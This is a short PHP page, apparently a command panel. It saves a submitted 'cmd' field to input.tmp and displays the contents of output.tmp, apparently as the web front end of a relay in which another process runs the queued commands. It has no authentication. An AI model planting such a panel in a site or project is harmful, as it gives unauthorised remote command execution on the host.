<?php

if(isset($_POST['cmd']))
{
file_put_contents('input.tmp',$_POST['cmd']);
header('location: panel.php');
}
else
{
$out=nl2br(htmlspecialchars(file_get_contents('output.tmp')));

echo '<html><body><form action="panel.php" method="POST">
<table>
<tr><td>command</td><td><input name="cmd" /></td><td><input type="submit" /></td></tr>
</table>
</form>
<br />
last output:
<br />
<br />
'.$out.'
</body></html>';

}

?>